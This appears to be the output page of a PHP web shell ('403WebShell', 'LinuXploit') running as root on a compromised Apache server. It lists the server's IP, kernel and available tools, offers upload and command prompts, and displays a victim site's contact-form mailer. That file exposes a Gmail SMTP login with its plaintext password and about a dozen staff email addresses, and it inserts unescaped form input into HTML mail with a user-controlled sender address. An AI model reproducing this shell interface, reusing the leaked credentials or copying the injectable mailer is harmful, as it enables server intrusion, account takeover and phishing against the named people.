Warning: chmod(): Operation not permitted in /data/html/improve/wp-content/plugins/wordfence/wordfence.php on line 8
403WebShell
403Webshell
Server IP : 52.9.100.119  /  Your IP : 216.73.216.135
Web Server : Apache/2.4.61 (Amazon) OpenSSL/1.0.2k-fips PHP/7.3.30 Phusion_Passenger/5.1.5
System : Linux ip-172-31-9-35 4.14.355-196.618.amzn1.x86_64 #1 SMP Mon Apr 7 17:09:50 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.3.30
Disable Function : exec,passthru,shell_exec,system,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /data/html/ccfn_live/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /data/html/ccfn_live/send-mail.php
<?php
// Import PHPMailer classes into the global namespace
// These must be at the top of your script, not inside a function
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

//Load composer's autoloader
require 'vendor/autoload.php';
// require 'vendor/phpmailer/phpmailer/src/Exception.php';
// require 'vendor/phpmailer/phpmailer/src/PHPMailer.php';
// require 'vendor/phpmailer/phpmailer/src/SMTP.php';


$mail = new PHPMailer(true);                              // Passing `true` enables exceptions
try {
    //Server settings
    $mail->SMTPDebug = 2;                                 // Enable verbose debug output
    $mail->isSMTP();                                      // Set mailer to use SMTP
    $mail->Host = 'smtp.gmail.com';                     // Specify main and backup SMTP servers
    $mail->SMTPAuth = true;                               // Enable SMTP authentication
    $mail->Username = 'carnescfn@gmail.com';                 // SMTP username
    $mail->Password = 'ccfn.sc2017';                           // SMTP password
    $mail->SMTPSecure = 'ssl';                            // Enable TLS encryption, `ssl` also accepted
    $mail->Port = 465;                                    // TCP port to connect to
    $mail->CharSet = "UTF-8";

    //Recipients
    $namep = $_POST['namep'];
    $name = $_POST['name'];
    $correo = $_POST['correo'];
    $mail->setFrom($correo, 'Contacto CCFN');
    $mail->addAddress('contacto@superchivas.com.mx');     // Add a recipient
    $mail->addAddress('jchivas1@gmail.com');     // Add a recipient
    $mail->addAddress('hugo.delatorre@superchivas.com.mx');     // Add a recipient
    $mail->addAddress('cynthia.ramirez@superchivas.com.mx');     // Add a recipient
    $mail->addAddress('dana.uc@superchivas.com.mx');     // Add a recipient
    $mail->addAddres('ignacio.rendon@superchivas.com.mx');
    $mail->addAddress('cristian.pereira@superchivas.com.mx');     // Add a recipient
    $mail->addAddress('arturo.gonzalez@superchivas.com.mx');     // Add a recipient
    $mail->addAddress('diana.reza@superchivas.com.mx');
    $mail->addAddress('jose.medina@superchivas.com.mx');

    //Content
    $mensaje= $_POST['mensaje'];
    $telefono = $_POST['telefono'];
    $ops = $_POST['ops'];
    // $namep = $_POST['nameperson'];
    // $name = $_POST['nombre'];
    // $correo = $_POST['correo'];

    $mail->isHTML(true);

    $mail->Subject = 'Correo desde pagina web CCFN';

    $mail->Body = '<b>Nombre de la persona: </b><br>';
    $mail->Body .= $namep;
    $mail->Body .= '<br><br><b>Teléfono de la persona:</b><br>';
    $mail->Body .= $telefono;
    $mail->Body .= '<br><br><b>Correo:</b><br>';
    $mail->Body .= $correo;
    $mail->Body .= '<br><br><b>Nombre de la empresa: </b><br>';
    $mail->Body .= $name;
    $mail->Body .= '<br><br><b>Asunto:</b><br>';
    $mail->Body .= $ops;
    $mail->Body .= '<br><br><b>Mensaje:</b><br>';
    $mail->Body .= $mensaje;


    $mail->send();
    echo 'Su mensaje se envió exitosamente. Nos pondremos en contacto cuanto antes.';
    header('Location: /');
    exit;
} catch (Exception $e) {
    echo 'El mensaje no pudo ser enviado. Intente nuevamente. <br>';
    echo 'Mailer Error: ' . $mail->ErrorInfo;

}

Youez - 2016 - github.com/yon3zu
LinuXploit